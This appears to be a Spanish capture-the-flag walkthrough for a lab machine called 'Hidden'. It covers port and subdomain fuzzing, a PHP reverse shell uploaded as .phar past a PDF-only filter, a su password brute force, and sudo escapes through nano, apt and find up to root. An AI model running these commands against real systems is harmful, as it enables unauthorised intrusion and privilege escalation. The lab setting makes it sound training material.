Hidden

Levantar la máquina

captura-levantar

Conectividad con la máquina atacante

Vemos que hay conectividad con la máquina y sabemos que es Linux por el TTL, que es 64. Aunque no siempre es fiable.

captura-ping

Escaneo de puertos

Usamos la herramienta nmap para el escaneo de puertos.

sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv -Pn 172.17.0.2 -oN all

Este comando lo que hace es buscar todos los puertos abiertos (1-65535) (-p-), lo hace de manera sigilosa (-sS), busca la versión de los servicios ( -sV), de manera rápida(--min-rate=5000), desactiva la resolución DNS para evitar problemas(-n), utiliza triple verbose para que tengamos más detalle del escaneo (-vvv)y omite la detección de host(-Pn). Lo guarda en el fichero all (-oN all).

captura-escaneo

Puertos abiertos

Puerto 80 -> HTTP

Fichero /etc/hosts

Como podemos ver, la página no resuelve ya que comprobamos con el reporte de nmap que tiene un dominio llamado hidden.lab. Por los tanto lo añadimos al fichero /etc/hosts.

captura-host

Ahora si vemos que resuelve bien la página.

captura-cafe

Fuzzing

Para empezar hago fuzzing para conocer directorios que cuelguen de la raiz pero veo que no hay ninguno relevante por lo que se me ocurre a hacer fuzzing de subdominios con la herramienta wfuzz y encuentro el siguiente.

wfuzz -c --hl=9 -w /usr/share/wordlist/SecLists/Discovery/DNS/subdomain-top1million-110000.txt -H "Host:FUZZ.hidden.lab" -u 172.17.0.3

captura-subdominio

Y lo volvemos a añadir al fichero /etc/hosts para que pueda resolver bien.

captura-sub

Vemos que podemos subir archivos, pero solo con extensión PDF.

image

Busco por Internet extensiones que permitan php y tras probar extensiones encuentro en HackTricks la extensión .phar.

Por lo que puedo usar la herramienta php-reverse-shell para conseguir una reverse shell.

Editamos el archivo y ponemos en la IP, la nuestra, la de Kali Linux, es decir, la atacante, y el puerto que vamos a utilizar, en mi caso, el 443.

captura-php

Y ahora le cambiamos la extensión e intentamos subirlo. Para cambiar la extensión podemos hacer uso del mv

mv php-reverse-shell.php php-reverse-shell.phar

¡¡ IMPORTANTE !!

Es importante que en la esquina inferior derecha pongais todos los archivos, porque sino, no os saldrá.

captura-todos

Una vez subido, tenemos que saber donde se ha subido, para ello podemos volver a hacer fuzzing con el nuevo subdominio para saber donde se ha subido.

captura-uploads

Entramos y vemos que si está ahí subido, entonces ahora hacemos uso del nc para obtener la reverse shell.

captura-nc

Y si se queda cargando significa que la hemos obtenido.

captura-reverse

script /dev/null -c bash

CTRL + Z

stty raw -echo; fg

reset xterm

export SHELL=bash

export TERM=xterm

stty rows 41 columns 189

captura-bonito

Tras intentar buscar binarios con permisos SUID, hacer uso del sudo -l etc, no encuentro nada y decido hacer ataque de fuerza bruta con usuarios del sistema.

captura-passwd

Vemos que existen cafetero, john, bobby.

Subimos un script en bash que hace ataque de fuerza bruta con diccionario, para ello, he acortado el rockyou.txt a 200 palabras ya que no me dejaba subirlo más grande.

head -n 200 rockyou.txt > rockyou_200.txt

Subimos el diccionario.

El script que voy a utilizar es este -> Linux-Su-Force

Subimos el script.

captura-todo

Ahora volvemos a la reverse shell y ejecutamos el script.

Le damos permisos y ejecutamos.

chmod +x Linux-Su-Force.sh

bash Linux-Su-Force.sh cafetero rockyou_200.txt

captura-cafetero

Ahora entramos como cafetero y vemos que podemos usar con sudo.

captura-nano

Hago uso de la herramienta Searchbins que está basada en la página GTFOBins.

captura-searchbins

Y lo ponemos en práctica.

captura-john

sudo -u john /usr/bin/nano

^R -> (Ctrl R) ^X -> (Ctrl X

reset; sh 1>&0 2>&0

Vemos que funciona, así que ahora vamos a por el siguiente usuario.

captura-bobby

Hacemos uso de la herramienta.

captura-apt

sudo -u bobby /usr/bin/apt changelog apt

!/bin/sh

Probamos el primero...

captura-bobby2

Ganamos acceso a bobby. Vamos a por el siguiente que ya es root.

captura-roo

Vemos que podemos ejecutar como root el binario find, por lo que buscamos en nuestra herramienta.

sudo -u root /usr/bin/find . -exec /bin/sh -p \; -quit

captura-find

Y vemos que funciona correctamente.

captura-root

Ya somos root!!

Última actualización